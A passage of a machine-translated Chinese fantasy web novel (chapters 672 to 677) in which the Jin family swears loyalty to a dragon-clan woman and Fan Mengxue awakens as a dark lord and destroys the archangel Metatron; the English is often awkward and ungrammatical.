    It is clear that all his duties in the management committee will be cancelled, and the arrangement will be awaited at home.


    This is not the case, after the appointment and dismissal notice is a very strong letter of notice.


    The letter of notification was written in the tone of the General of the State Council, asking the Jin family to immediately withdraw from Tianyuan Company and stop all actions that might offend Xue An. Any violation will be at your own risk.


    These two letters pressed into Jin Hao''s hands, making his hands tremble.


    I lost my position in the management committee, and the Jin family lost all power. Everything that I had worked so hard to manage before will be in vain.


    This naturally made it difficult for Jinhao to accept.


    Everyone else in the room bowed their heads and dared not speak.


    Everyone��s face was filled with frustration and despair.


    After a while, Jin Hao took a deep breath, then said coldly: "Jin Zhong."


    "Father!" Jin Zhong trembled all over, and hurriedly took a step forward.


    "I asked you to fly to Tianyuan Company before. After such a long time, have you ever figured out the formula of Tianyuan Potion?"


    Jin Zhong shook his head and smiled bitterly, "Father, although I airborne to Tianyuan Company, but Chen Xiu and Xue An''s group of friends are iron plates, I have no access to the production process of Tianyuan potion."


    Jin Hao''s expression became more and more ugly, and he slapped the table suddenly, "Trash! All trash!"


    Jinzhong''s complexion turned white, and they all bowed their heads and dared not say anything.


    After venting his anger in his heart, the old and cunning Jin Hao, who has been in charge of the Jin family for decades, leaned back on his chair, with a trace of fear in his eyes.


    Xue An is back.


    And it is a strong return with invincible posture.


    Thinking back to everything the Jin family had done before, thinking about the grievances between the Jin family and the An family, thinking with toes and knowing that Xue An would never let him go.


    And Jin Hao knew that the management committee kicked out the Jin family only temporarily. As long as Xue An returns to Zhongdu, those waiting for the Jin family will be destroyed.


    It is not even necessary for Xue An to do it himself, the management committee will take the initiative to deal with the Jin family in order to show good to Xue An.


    Thinking of that scene, Jin Hao shuddered all over.


    at this time.


    A cold female voice came in from outside.


    "Are you... are the people of the Jin family who oppose Xue An?"


    "Who!" several guards shouted in unison.


    Everyone in the room was also shocked, turning their heads to look around.


    Seeing the extremely strong iron gate suddenly began to melt, it turned into a puddle of molten iron in an instant.


    A female model came in.


    This woman has long hair in a shawl, is tall, and is wearing a black leather jacket. She has a pair of high heels under her feet, and her waist and legs are more slender.


    Especially when she walked along, she was even more swaying and charming.


    Everyone in the room was dumbfounded.


    Because no one knew this woman.


    At this time, the guards of the Jin family had already rushed over and surrounded the girls.


    At this time, Jin Hao waved his hand, motioning the guards to step back, and then said with a gloomy expression: "Who are you? Why did you break into my Jin family?"


    Jin Hao naturally noticed the various anomalies when this woman came in.


    Especially the melting iron gate made Jin Hao''s eyelids jump, so he spoke more politely.


    The woman smiled slightly, "Jin Patriarch, it doesn''t matter who I am, I just ask, do you hate Xue An?"


    Hearing this sentence, Jin Hao''s expression was uncertain, "What about hating, what about not hating?"


    The woman giggled, "If you hate, then there is now a chance for you to take revenge, if you don''t hate..."


    A cold light that does not belong to humans flashed in the woman''s eyes, "Then there is no need for you to exist."


    "Presumptuous!" Jin Zhong was furious when he heard that, and wanted to order someone to tie up this woman who didn''t know where she had emerged.


    But the woman just turned her head and glanced at him, and Jin Zhong froze in place.


    Because this woman''s eyes are simply terrifying.


    It was cold, without a trace of color, just like a pair of...cold-blooded eyes.


    At this time, the woman said calmly: "I hope you don''t challenge my patience, otherwise I can let you die now."


    With that, there was a strong pressure on the woman.


    Everyone in the room was shocked, and some people who were close to him even groaned, and backed away embarrassed.


    "This lord, please calm down!" Jin Hao shouted.


    Then he leaned and left his seat and said respectfully: "Of course our Jin family hates Xue An, but the problem is that Xue An is so powerful now that even the management committee is on his side! How can we get revenge?"


    The woman smiled, her figure suddenly flashed, she appeared beside Jin Hao, and then sat on the main seat naturally.


    "As long as you hate it, then I can help you take revenge, and even give you infinite life and strength, but the premise is that you must unconditionally obey me and take me as the Lord."


    The woman''s words made everyone in the Jin family hesitate.


    "Dare to ask your lord..."


    The woman said lightly: "I am from the Tianlong clan, my name is Longda!"


    With that, the woman''s eyes gradually turned into dragon eyes, and the powerful dragon power enveloped the audience.


    Jin Hao and others awoke from the initial shock and confusion, and then Jin Hao knelt to the ground without hesitation, "My Jin family, I am willing to serve you as the master!"


    As soon as he knelt down, the other members of the Jin family also knelt to the ground.


    Long Da looked at everyone and smiled faintly, "Very good!"


    "Master, but I don''t know what you want our Jin family to do?" Jin Hao said respectfully.


    Long Da said indifferently: "Now I am the only one coming The strength is not enough to deal with Xue An, so what you have to do is to unite all the forces that have hatred with Xue An."


    "Yes!" Jin Hao and others bowed their heads and said yes.


    "Now I will give you some strength first!"


    With that said, the big dragon waved his hand, and everyone in the Jin family felt stiff, and then a powerful force emerged from their bodies.


    Even Jinhao felt shocked, and his aging body quickly began to become younger.


    Such a scene completely regained everyone in the Jin family.


    Jin Hao and others crouched on the ground and said respectfully, "Thank you, sir!"


    Wait for the others to step down.


    Jin Hao hesitated and said: "My lord, Xue An is definitely not an ordinary strong man who can deal with it. Even if my Jin family unites all the forces that have enemies with him, he cannot be his opponent."


    Long Da nodded, "I naturally know this. What I asked you to do is just to make an internal response. As for the real power..."


    Long Da sneered slightly, "I have already contacted the other heavenly gods and demons before I came, and when they come, it will be the day Xue An died."


    Hearing these words, Jin Hao smiled and hurriedly bowed his head and said, "Yes!"

 Chapter 673： Night elves, come to help

    Europe.


    Dark castle.


    The continuous bombardment of the light has razed the nearby hills to the ground, leaving only a lonely castle standing among them.


    And the dark guard covering the castle has become very weak.


    But it was such a shaky guardian power, but it was extremely tough, and it just persisted until now under the bombardment of so many light cultists.


    But now, many people know that this is the limit.


    According to this offensive, at most one day, this guardian power will be broken.


    The people in the Dark Council certainly know this better.


    Therefore, at this moment, everyone gathered in the hall and looked at Fan Mengxue, who was wrapped in layers of black vines, with a sad expression on her face.


    "Everyone," Anastasia the Dark Witch whispered.


    Everyone looked at her.


    "Mengxue protects us with life as a sacrifice, but now, this dark castle is no longer able to hold it. If we just wait and see, then Mengxue will most likely fall into the hands of that bright angel. "


    Speaking of this, Anastasia looked around the audience.


    "So, I propose! From now on, we will all leave the castle to attract firepower outside, so as to relieve Mengxue''s pressure."


    After that, Necromancer Karthus, Titan Giant, and Dream Banshee all nodded without hesitation.


    "I agree."


    "I agree!"


    "Also, if... if you die outside, remember to sacrifice yourself at the last time to protect this castle." Anastasia said in a deep voice.


    These people looked at each other when they heard the words, and then all showed a sudden smile.


    "understand!"


    In fact, they all understand that the chance of surviving is extremely slim.


    Because the injuries on their bodies are not healed, and even if they are healed, it is difficult to be spared in the face of such a powerful light force.


    Even so, no one showed the slightest retreat.


    It was as if the face was not death, but a trivial thing that couldn''t be more ordinary.


    After the discussion, everyone packed up everything and came to the door of the castle.


    The cigar skeleton is still here at the moment.


    It''s just that now his suit has become tattered and dirty, and the only thing that remains unchanged is the cigar in his hand.


    After seeing the crowd, the skeleton, who was leaning on the wall and swallowing mist, squeezed out the cigar in his hand, and then stood up straight.


    "Masters, are you ready to do it?"


    Karthus nodded, and then said apologetically: "Sorry, I didn''t help you resurrect those skeletons before."


    The cigar skeleton grinned when he heard the words, "I didn''t expect you to be resurrected! Because your two actions are really bad, it''s not comparable to the previous necromancer."


    Karthus was said to be embarrassed.


    At this time Anastasia said: "You stay here at the castle, we will go back."


    After talking about leading people, they have to leave.


    The cigar skeleton smiled and followed behind.


    Dream Banshee frowned slightly, turned her head to look at him, "Didn''t the witch say anything, let you stay here."


    The cigar skeleton shook his head, "My lord, I actually know what you are going to do."


    "Mengxue fell asleep for the old castle, and that bright **** is still pressing harder every step. You adults want to sacrifice yourself to attract firepower, am I right?"


    Anastasia sighed slightly, "Yes!"


    "In that case, I have to follow along."


    As he said, the cigar skeleton waved his hand to prevent Anastasia and the others from speaking, and then said lightly: "You guys are no longer there. It''s boring for me to guard such a castle by myself. It''s better to be painful. Have a good fight, even if you can teach this bright **** a lesson, I''m worthy of death!"


    Anastasia still wanted to persuade.


    Karthus stopped her, then shook his head slightly, beckoning her not to speak any more.


    Because he knows the tempers of these uncle skeletons, as long as they decide what they think, they will definitely try to do it.


    Will never be shaken by others'' persuasion.


    At this time, the Titan giant slowly reopened the closed gate of the castle.


    "You have to think clearly, step out of this door, and there will be no chance of looking back." The Dream Banshee couldn''t help saying.


    Skeleton Jiejie smiled strangely, "I have lived for thousands of years, I have seen everything and tried it, but I haven''t tasted what it is like to die, and my brothers have tasted it first, so naturally I can''t fall behind!"


    Hearing his words, everyone was silent for a moment, and then Anastasia stepped forward.


    "Let''s go! It''s getting late, kill someone on the way."


    When the light fanatics besieged outside saw people coming out of the dark castle with the closed doors, they were first startled, and then they rushed in frantically.


    Faced with so many light cult believers, everyone in the Dark Council did not fear at all, and rushed forward with a loud shout.


    Wherever he went, it was like a black spear piercing the bright ocean.


    But the number of these light fanatics is simply too much.


    Kill one, and ten will make up in an instant.


    In the blink of an eye, everyone in the Dark Council was trapped in it.


    They formed a circle, panting and looking at each other''s light fanatics.


    "Damn, don''t these lunatics know that they are afraid?" The always gentle Dream Banshee couldn''t help but explode at this moment.


    "Don''t you see the eyes of these people? Sluggish and dull, apparently brainwashed by the bright angels. To put it bluntly, this is a group of cannon fodder specially used to attract firepower." The Titan giant said.


    "It seems we can''t run away today!" Karthus smiled bitterly, then said to the cigar skeleton.


    "Are there any cigarettes? Give me one."


    The cigar skeleton reluctantly took out one and threw it over, "That''s it! I want to save it until I''m dying and smoke it."


    Karthus smiled, lit his cigar, and just took a sip.


    The opposite light fanatics seemed to have received an order to charge, Qi Qi rushed forward Karthus cursed a little helplessly.


    "Damn, can''t you let me take a few more breaths?"


    As soon as the voice fell, it was hand-to-hand.


    The abilities of these light fanatics are not high, but the horror is numerous and fearless to death.


    So in an instant, everyone who was already injured was already winning.


    "Everyone, I''ll go one step ahead!" said the Titan, and roared and rushed forward.


    The dream banshee exclaimed, "Titan!"


    Seeing that the Titans were about to rush into the light, at this moment.


    Suddenly, huge vines appeared on the ground, and instantly all the surrounding bright believers were lifted into the air.


    Then he heard a voice, "Everyone, the night elves come to help!"

 Chapter 674： The account of the last **** of light has not yet been settled, and you...

    Hearing this sentence, everyone was stunned, and then all looked up.


    really.


    Seen not far away, I don''t know when a towering tree appeared.


    The vines on the ground extend from the bottom of the big tree.


    And above the canopy, there is a floating halo, and in the halo is a woman with a blurred face.


    "The elven goddess Cloris!" Anastasia exclaimed in surprise.


    Cloris leaned slightly at the crowd, "I''m sorry, we were a bit late!"


    Following her voice, many night elves jumped down on this ancient tree.


    The leader is Elder Luna.


    As soon as these night elves appeared, the battle was turned around.


    Although there were a large number of these light cultists, they were quickly wiped out under the arrow rain of the night elves and the vine strike of the elves.


    Everyone is in one place.


    Anastasia had met the elven goddess several times, so she took a step forward and said gratefully.


    "Thank you night elves for helping us in the Dark Council."


    Cloris smiled bitterly, "Master Witch is polite, now the light is strong, you and I are each other''s lips and teeth, naturally we must help each other."


    In fact, the reason why Cloris came here only now was because he was entangled by the pervasive light cultists.


    Although there was no such tragic siege of the dark castle, he was caught off guard, and the night elves paid a considerable price.


    In the end, under the anger of Cloris, he could barely eliminate the besieging believers of light.


    But the powerful combat power displayed by these people still shocked Cloris.


    Then I heard rumors from the outside that the dark castle was besieged, and it should not last long.


    Cloris was shocked by the news.


    Of course she understands the truth of the death of lips and teeth, so she immediately summoned her tribesmen and rushed to help them all the way.


    But when the two sides were talking.


    The sky in the distance suddenly showed holy lights.


    Accompanied by the sound of chanting, a huge angel figure gradually appeared above the sky.


    Metatron looked down at everything below, and then said with interest.


    "Tsk tsk, there is another wild elven goddess, hey! It seems to be transformed from an ancient godhead, it''s really strange!"


    Hearing his words, both Cloris and everyone in the Dark Council looked solemn.


    "This bright angel is extremely powerful. We are not his opponents. The plan for the present is to leave here quickly and run as far as possible." Cloris said calmly.


    Anastasia, Titan and others all smiled upon hearing this.


    "Your Excellency Mother God, you have rushed for thousands of miles to help us, this friendship is engraved in our heart, now you should leave here quickly, as for us, we will not go!" said the dream banshee.


    "Why? Desperately unable to solve any problems, it is better to spend it first, and wait for Mr. Xue to return." Cloris thought these people were going to work hard, and hurriedly dissuaded.


    "You don''t understand!" Karthus said, pointing to the dark castle in the distance.


    "There is the future Lord of Darkness sleeping in it. For her, we can''t leave, but fight to the end."


    At this moment, Metatron was obviously impatient to wait any longer.


    "Go, kill everything!"


    Countless angels appeared behind him.


    Although these angels only carry a pair of very simple wings, the power of light on their bodies is not comparable to those of fanatics.


    With Metatron''s order, these light-backed angels swooped down, rushing toward the crowd like a legion of fighters.


    "My Lord Mother, go!" Anastasia yelled, and then cast a dark curse.


    boom.


    This forbidden curse blew up dozens of angels, but in an instant, the gap that was blown up was filled again.


    Boundless angels enveloped everyone from all directions.


    Although everyone tried their best to use their strongest tactics to kill the enemy, there are too many enemies to kill at all.


    "Master Mother, what shall we do?" Elder Luna turned pale when she saw this, and couldn''t help asking.


    Cloris''s eyes flickered, "Can''t go, we are gone, then these people will undoubtedly die. When the time comes, once the bright angel points the spear at us, then we will die without a place to be buried."


    "So, do it, kill the enemy together!"


    Cloris said, waving the vines of the giant tree like a whip, beating the flying angel army.


    Elder Luna also directed the elves to shoot arrows together.


    Metatron watched this scene, then laughed loudly, "Is that just a little bit of strength? Then I will give you some more dishes today!"


    As he said, a holy light flashed, and the angel who had just been shot to death or chopped to pieces condensed under the holy light and flew into the sky again.


    "Kill it, I see when you can kill it!" Metatron smiled triumphantly.


    Everyone felt a deep despair.


    There is nothing more frustrating than this. The enemy who had been killed with all the hard work was resurrected in a blink of an eye.


    Moreover, everyone in the Dark Council was already seriously injured. Now that they have been fighting for a while, the injuries on their bodies have become more and more serious.


    Therefore, under the attack of this angel army, they couldn''t help but begin to retreat.


    boom.


    After being bombarded by the light again.


    Anastasia said solemnly: "Everyone, I can''t hold it anymore, it''s now!"


    With that, the blackness in her eyes was full.


    Karthus exclaimed, "Tacia!"


    Anastasia turned her head and smiled at him, "Karthus, see you soon!"


    Tears burst into his eyes, and then he nodded vigorously, "Wait for me, let''s go together!"


    As he said, he also showed tyrannical necromantic aura.


    The Dream Banshee and the Titan also looked at each other, and their eyes all showed death.


    Just when the people of the Dark Council were preparing to sacrifice themselves to supplement the power of the protection of the dark castle.


    suddenly.


    This endless army of angels began to explode like fireworks.


    It started to explode one by one, and in an instant it began to explode in batches.


    "What''s the matter?" Metatron, who had been standing high in the sky overlooking everything, was startled.


    And at this moment, two streamers flew across the sky, and then a voice carrying a strong anger spread throughout the audience Very good, actually forced Mengxue to take the initiative to fall asleep, you are dead ! "


    Hearing this voice, both the Dark Council and the Elves were all stupid, and then they all looked up.


    really.


    It is Xue An and An Yan standing in the air.


    "Sir!" Cloris hurriedly saluted.


    The people in the dark council also awoke and hurriedly bent over to salute.


    Xue An nodded nonchalantly, but his eyes were always on the dark castle shrouded by the thin guardian power.


    "Who are you?" Metatron asked angrily at this time.


    Xue An turned to look at him when he heard the words, with a cold smile rising from the corner of his mouth.


    "I haven''t asked him to settle the account of the last God of Light, but did you come again?"

 Chapter 675： Dark flowers bloom, the throne reappears

    Metatron was stunned, and then a sneerful smile appeared on his face, "Oh? So, the old guy, the God of Light, didn''t dare to go to the realm because of you?"


    "Unfortunately, I am different from the old thing that only dared to send my own son or descended as a projection clone. This time I came to the world completely!"


    With that said, Metatron seemed to have unlocked the seal, an extremely powerful holy light emerged from his body, and the light wings behind him became more dazzling.


    Metatron is known as the Archangel of the Holy Light, of course he is not a fool with no brain at all.


    The God of Light said nothing to lower the realm, and he was naturally prepared for it, so he used the light secret technique that required extremely large energy.


    This light secret technique can seal Metatron''s complete body and use it to deceive the Law of Heaven, so that it can descend smoothly.


    And if necessary, he can unlock the seal and release his true strength.


    At this moment, the entire Europe and the entire Eastern Hemisphere are enveloped by endless holy light.


    The night sky is also illuminated by the holy light like day.


    Such a scene naturally attracted the worship of countless believers.


    And Metatron looked at Xue An condescendingly, and said in a joking tone: "You can see that your strength should be good! But in front of me, all this is meaningless. So I am curious. , How are you going to settle this bill with me?"


    Although it was just such a casual question, the powerful pressure between words made everyone in the dark council retreat in shock.


    "Is this the power of the true god?" The elven goddess Cloris said to himself with a solemn expression.


    As a god, she could feel the suppression of the godhead from Metatron.


    This made her feel extremely depressed and shocked at the same time.


    After all, she inherited the goddess of the forest goddess in ancient mythology, but she couldn''t even face this Metatron.


    It can be seen how powerful his divine power is.


    But in this case, Xue An kept his head down and said nothing.


    Xue An came directly from Country R this time.


    In fact, Xue An noticed that the power of light had reappeared in Europe from the time he first came back.


    But Xue An didn''t take this too seriously at the time, because he could feel Fan Mengxue''s existence, so he was going to go and take a look at the last.


    But just now, Xue An felt that the dark power belonging to Fan Mengxue was rapidly declining.


    Xue An was shocked by the speed.


    At that time Xue An understood that Fan Mengxue had an accident.


    So in a hurry, Xue An flew over with An Yan directly.


    At this moment, Xue An ignored Metatron''s words, but silently looked at the dark castle.


    Those bright and holy lights disappeared silently before and after him, and even his hair did not blow.


    This strange silence gradually spread, making the audience quiet.


    Then Xue An said calmly: "What a silly girl, staying alone in the dark, waiting for me to come back? But have you ever thought that if something goes wrong, you will fall into darkness forever, never again? Can''t wake up."


    Everyone in the Dark Council was shocked, and then tears filled their eyes.


    Metatron frowned slightly, waiting to speak.


    Xue An has raised his head and looked at him quietly.


    "Didn''t you ask me how to calculate this bill? I will tell you now!"


    "The only thing that can destroy you gods of light is darkness, and it can only be darkness."


    Metatron was startled when he heard the words, and then grinned, "Are you telling me a joke? Darkness?"


    He pointed to the people of the dark council on the ground.


    "Just rely on these ants?"


    The contempt in the tone almost overflowed.


    Xue An ignored his clamor, but lowered his head and whispered softly, "Mengxue, don''t you wake up yet?"


    Following his words, the dark castle that had been standing silently there suddenly began to tremble.


    Countless vines began to gush out crazily, and in a flash, they completely wrapped the castle, and then the vines swayed a few times before blooming black rose flowers.


    Seeing this scene, everyone was dumbfounded.


    Anastasia started to tremble suddenly, then she covered her mouth and said tremblingly: "Darkness blooms, the throne reappears."


    Hearing her words, the others in the Dark Council were all startled, and then they all thought of an ancient legend that has been circulating for a long time.


    Legend has it that this dark castle is an extremely powerful dark sacred artifact. If it is turned on, it will be transformed into a dark throne, and those who have ascended to the throne will become the true Lord of Darkness.


    But because the legend is too long, so long as everyone thinks it is just a legend.


    But today.


    Everyone saw this miraculous scene.


    Metatron''s face condensed, and then he sneered: "Although it is a dark sacred artifact, it is nothing more than that to me. To defeat me with this is a foolish dream."


    at this time.


    This dark castle suddenly disintegrated and shattered, and then black giant pillars standing on top of each other began to appear between the sky and the earth.


    In an instant, a magnificent dark temple appeared in front of everyone.


    Then I saw a huge vine snaking out in this dark temple, and then the back branches trembled, slowly blooming a huge black rose flower.


    In the center of the flower is Fan Mengxue, who is sleeping with his eyes closed.


    A powerful dark coercion dimmed the holy light that was originally full of sky instantly, even this Metatron couldn''t help being shaken back a few steps, and then said with horror: "How is it possible..."


    He didn''t expect that such a powerful dark power would emerge from a mortal dark council.


    This is more pure and terrifying than the power of darkness in the dark abyss But Xue An stood quietly in the air and whispered: "You who have awakened the blood of the true Dark Emperor, are there How powerful is it?"


    Then he smiled slightly, holding An Yan''s hand, and instantly appeared beside the rose flower.


    The dark sharp thorns on the vines aimed at Xue An in an instant, but after sensing something, they gradually became quiet again.


    Xue An stretched out his hand and wrote a very complicated dark rune in the air, then pressed down suddenly, and whispered: "Wake up yet?"


    The dark rune appeared on Fan Mengxue''s forehead and completely stirred the power of darkness around him.


    Fan Mengxue''s eyelashes began to tremble and slowly opened her eyes.


    As soon as her eyes opened, two dark lights shot straight into the sky.


    Immediately afterwards, Fan Mengxue''s entire body appeared in the air, and her hair instantly grew to a reachable length. At the same time, her clothes were entangled with layers of black air and turned into a long skirt.

 Chapter 676： Absorb the light and temper the darkness!

    Fan Mengxue''s long hair that touches the ground dances without wind, like a demon **** who has traveled through ancient times.


    But in her eyes there was only a pure darkness.


    No emotions, no waves.


    Just floating in the air quietly.


    Perfect like a work of art.


    Everyone in the Dark Council looked stupid.


    But at this moment, a spear condensed by holy light flew across the sky and pierced Fan Mengxue''s chest.


    Metatron was full of crazy killing intent, "Don''t be fooling around with me here, go to death!"


    From the moment Fan Mengxue opened his eyes, Metatron felt a strong sense of crisis.


    Until she was floating in the air, feeling the power of darkness that grew stronger.


    There was finally a trace of panic in Metatron''s heart.


    It was this panic that made Metatron completely embarrassed.


    As a god, he would be afraid of a duny master of darkness.


    Because of this, Metatron will outrageously shoot.


    This holy light spear came extremely fast, and it came close to Fan Mengxue almost instantly, but just when it was about to pierce Fan Mengxue''s chest, it suddenly stopped.


    Then Peng disintegrated and broke apart.


    Metatron was shocked, "Impossible."


    As soon as the voice fell, Fan Mengxue raised his eyes to look at him, still showing no emotion in his pure black eyes, then raised his right index finger and pointed at Metatron.


    boom.


    A black light that was stronger than night flashed across instantly, and Metatron had no time to react and was penetrated through his chest.


    Metatron snorted, the holy light on his body flickered and he was already injured.


    But as a high-level god, this injury can''t knock him down.


    He groaned angrily, and the holy light wings behind him flapped, his figure disappeared instantly, and when he reappeared, he had already arrived behind Fan Mengxue.


    The huge wings closed directly, wrapping Fan Mengxue in it.


    Metatron grinned and said: "I admit that I underestimated you, but that''s it! Go to death, Holy Light''s punishment!"


    Following his order, the surrounding holy light wings suddenly shook, as if a bomb was exploded inside, and strands of holy light flickered from the gap.


    "Mengxue!" Karthus and others exclaimed.


    Xue An looked calm, without any waves.


    But when Metatron thought that Fan Mengxue was bound to die, the dazzling light wings gradually dimmed, and then black air began to spread on it.


    Metatron exclaimed, "What''s the matter?"


    As soon as the voice fell, the surrounding holy light wings burst apart, and Fan Mengxue stood unscathed in the air, still watching Metatron quietly with those pure black eyes.


    "Ahhhhh! It hurts my wings, and I want to smash you into pieces!" Metatron roared in pain, and wanted to make a move.


    At this moment, Fan Mengxue''s long hair suddenly rose, turned into three thousand green silks, and rushed over in an instant, tying this Metatron tightly.


    Metatron still wanted to struggle, but these hairs were like countless steel needles, directly inserted into Metatron''s body.


    Then, without waiting for him to speak, these hairs began to frantically absorb the light and holy light from him.


    The green silk turned into countless pipes, in which the light shone, rushing to Fan Mengxue quickly.


    "How is it possible..., Mengxue absorbs so much light, isn''t it afraid of clashing with her own dark power and exploding?" Karthus exclaimed.


    Anastasia shook her head, and said solemnly: "You don''t understand, Mengxue now has the power of darkness in control of the most origin, and darkness and light are one at the most origin. It absorbs light and It is equivalent to tempering the darkness."


    Hearing her say that, Karthus nodded, seemingly understanding.


    at the same time.


    Metatron in the sky finally felt the fear of death.


    Because the power of light in him is being absorbed madly.


    In the blink of an eye, he had already lost more than half of the light.


    If this continues, after a while, he will be caught by soy sauce.


    At that time, no matter what high-level **** he is, he will fall.


    "No...no! Please let me go, I know I was wrong, I will return to the God Realm now, and I won''t come again!" Metatron began to beg for mercy.


    The Dark Council and the night elves heard a moment of silence.


    The Holy Light Angel, who was still flaunting his might just now, actually began to beg for mercy?


    Fan Mengxue didn''t seem to hear her, her hair was inserted deeper in an instant, and her absorption speed suddenly began to increase.


    "No...you can''t do this to me, I''m a god! If you don''t let me go, then I will blew myself up, and then we will all have to die!" Metatron said grimly, and began to kill him. Do threats.


    It was just that his words still did not cause any emotional fluctuations in Fan Mengxue, and the speed of absorbing the Holy Light did not slow down.


    Metatron began to age at a rate visible to the naked eye.


    In the end, Metatron had a look of cruelty in his eyes.


    If this continues, it will be impossible for me to blew myself up.


    So he roared, "Die me!"


    As he said, a dangerous holy light began to flash on his body.


    This is the prelude to the explosion.


    But at this moment, Xue An squinted his eyes slightly, and the huge divine consciousness rushed forward, directly dispelling Metatron''s divine consciousness, who was unprepared.


    "Why do you have such a powerful mind?" Metatron was almost as if he had seen a ghost.


    Xue An said indifferently: "This question, wait for you to think about it slowly after you die!"


    With that, Metatron''s remaining divine mind was completely annihilated.


    And his body completely turned into Fan Mengxue''s nourishment, and all the holy light was absorbed.


    After a while.


    Metatron''s body turned into powder, Fan Mengxue''s hair retracted, becoming the same as normal hair.


    However, Fan Mengxue''s dark aura became stronger and stronger.


    The strength of this dark coercion even caused a small cyclone around Fan Mengxue''s body, and her face was like a god, which made people afraid to look directly.


    Xue quietly looked at and did not dodge.


    Fan Mengxue did not move either.


    After a while.


    A ray of light suddenly appeared in Fan Mengxue''s eyes.


    Then the expression on his face gradually became clear from the confusion.


    Finally, her eyes became clear again, and she stared at Xue An blankly.


    "Xue An..."


    Xue An smiled slightly and nodded, "Are you awake?"


    Fan Mengxue knew nothing about what had just happened. She only knew that when she opened her eyes, she saw Xue An looking at herself with a smile in the distance.


    This feeling made her understand that she was not dead.


    And even if he is dead, as long as he can see Xue An, it does not matter.

 Chapter 677： 0-foot worm, dead but not stiff

    At this moment, everyone from the Dark Council and the night elves all stepped forward and spoke respectfully.


    "grown ups."


    Xue An nodded slightly, but did not speak.


    Isabella squeezed from behind the crowd and asked eagerly: "My lord, have you missed and missed it?"


    An Yan smiled slightly, "Little Bella, do you miss them?"


    Isabella nodded, "Well, ma''am, didn''t the two of them follow?"


    At this time, Isabella could not help but see the shadow that she did not miss except Xue An and An Yan.


    As the princess of the night elves, her childhood was extremely lonely. It can be said that before the appearance of the two little girls, Miss and Nian, she had no real friends at all.


    An Yan couldn''t help but feel distressed when she saw this, "The two of them are here!"


    "Ah? Where?" Isabella lifted up and asked hurriedly.


    An Yan smiled slightly and released the Fubao Xiaolou that Xue An had given her.


    Everyone couldn''t help being a little dumbfounded when they saw an extremely delicate small building appeared out of thin air.


    And people like the elven goddess Cloris and others were even more shocked.


    Because they can feel that this small building looks exquisite and cute, but in fact it contains extremely terrifying energy.


    Then I saw a few people flying out of this small building.


    After leaving the area of ??the small building, he instantly returned to his normal figure.


    It was Tang Xuan''er and two little girls.


    Children are always happy to meet.


    When the three of them jokingly ran to the side to play.


    Xue An retracted his gaze and said lightly: "Mengxue, the remnants of light on this side of Europe, you can handle it!"


    Fan Mengxue nodded, "Yes!"


    As she said, she rose to the sky in an instant, and then the endless darkness stretched out and enveloped the entire European land.


    Under this strong power of darkness, the injuries of Karthus and others quickly began to heal.


    At the same time, the backpack behind the cigar skeleton squirmed, and then a skeleton hand stretched out from it.


    "Damn, when you smell the cigar in this bag, you know it''s the second child!"


    With that, a skeleton slowly crawled out of it.


    The cigar skeleton was stunned, "Big...Big brother?"


    Immediately afterwards, seven or eight skeletons crawled out of this huge travel bag.


    "Quack, I didn''t expect to be able to survive!"


    The skeletons said with a grin.


    The cigar skeleton stared blankly.


    This huge travel bag contained the skeletons of these skeletons, and I didn''t expect that they all came alive.


    Soon, the cigar skeleton became a little sad again.


    They are all alive, but what about the sixth who has been wiped out?


    At this moment, a little black light condensed in the air, and then a skull suddenly appeared in front of the cigar skeleton.


    "Hey, second brother, do you miss me!"


    The cigar skeleton looked at this skull and suddenly cursed: "Fuck you, I feel bad when I see you!"


    While talking, he couldn''t help but laugh.


    On the same day, the Angel of Light that dominated Europe was slaughtered by Fan Mengxue of the Dark Council. The news spread and the world was shaken.


    Zhongdu.


    Chen family.


    Chen Xiuhe smiled slightly, "Thanks to General Wang this time, otherwise the Jin family won''t fall so quickly."


    General Wang Tao, sitting across from him, shook his head when he heard the words, "The old man joked, and I just woke up about this incident. The real reason lies in the supreme power revealed by Mr. Xue."


    Chen Xiuhe couldn''t help but sigh, "Yes! The world still depends on strength to speak, thinking about how rampant the Jin family was when Mr. Xue never returned before, and even intended to infuse Tianyuan Company, and finally waited for Mr. Xue. After returning, there is no need for him to do anything, and the Jin family is completely finished."


    With that, Chen Xiuhe picked up the wine glass, "Come on, I will toast the general."


    After the two had a drink, Chen Xiuhe went on to say, "Is there any change behind the Jin family?"


    Wang Tao put down his wine glass and nodded, "This is exactly what I want to tell you. The Jin family is very active now, and they are contacting people everywhere. As far as I know, these people in contact with the Jin family are similar to Mr. Xue. During the holidays, it seems that the Jin family is not giving up."


    Chen Xiuhe smiled slightly, "This is normal. The Hundred-legged Worm is dead but not stiff. What''s more, the old guy Jinhao has always tolerated, even his daughter was killed without showing up until the chaos of the world, they took advantage of the chaos. He thought he had an absolute advantage, but he didn''t expect to end up like this. Of course he would not be reconciled."


    Wang Tao frowned, "But I always think it''s better to pay more attention..."


    Chen Xiuhe nodded, "Of course you need to pay attention, but you don''t need to pay too much attention to it. It''s actually a good thing for them to contact them. It just so happens that you can take advantage of this opportunity to wipe out all the forces that want to harm Mr. Xue and Tianyuan. !"


    At the end, Chen Xiuhe showed a fierce murderous intent on his face.


    During the days when Xue An did not return, the days of Tianyuan Company and the Chen family were very difficult.


    But even in this situation, Chen Xiuhe still relied on his superb wrist to mediate with him.


    It can be said that if it were not for Chen Xiuhe''s suppression, Tianyuan Company might have been swallowed by the Jin family.


    But no matter how you dealt with it at the time, after all, the strength was not good, and he could barely protect himself.


    Now that the situation has reversed, Chen Xiuhe is of course full of murderous intentions, desiring to get rid of all the hostile forces and then hurry up.


    Wang Tao smiled bitterly when he saw this. He knew exactly what a fierce character this kind-looking old man was, and it seems that in the future the giants in Zhongdu will inevitably shuffle again.


    But these things are not what he should be in charge of, so he just thought about it for a while, and then he pressed himself in the bottom of his heart, and then said in a deep voice: "Master, General Zhen Guo asked me to ask you, when will Mr. Xue return?"


    Chen Xiuhe shook his head, "I don''t know this either."


    "Ok?"


    Chen Xiuhe continued: "To be honest, I can''t contact Mr. Xue now. I only know that he disappeared after killing the whale in R country, but I think Mr. Xue will definitely come back soon."


    "Why does the old man say that?"


    "It''s very simpleMr. Xue hates these gods and demons the most, so he wiped out the entire southeast territory as soon as he took action, and when Mr. Xue had eliminated all the gods and demons from all over the world, it was natural I''m back!"


    As he was talking, the door was suddenly opened.


    Then Chen Rushi walked in with excitement.


    "Grandpa, General Wang, the news just came that Europe has changed dramatically. The Holy Light Angel who ruled Europe was destroyed by Fan Mengxue who was awakened, and it was Mr. Xue who awakened her!"


    Hearing the news, Chen Xiuhe and Wang Tao looked at each other, then shook their heads and chuckled.


    "It seems that we still underestimated Mr. Xue''s speed!"


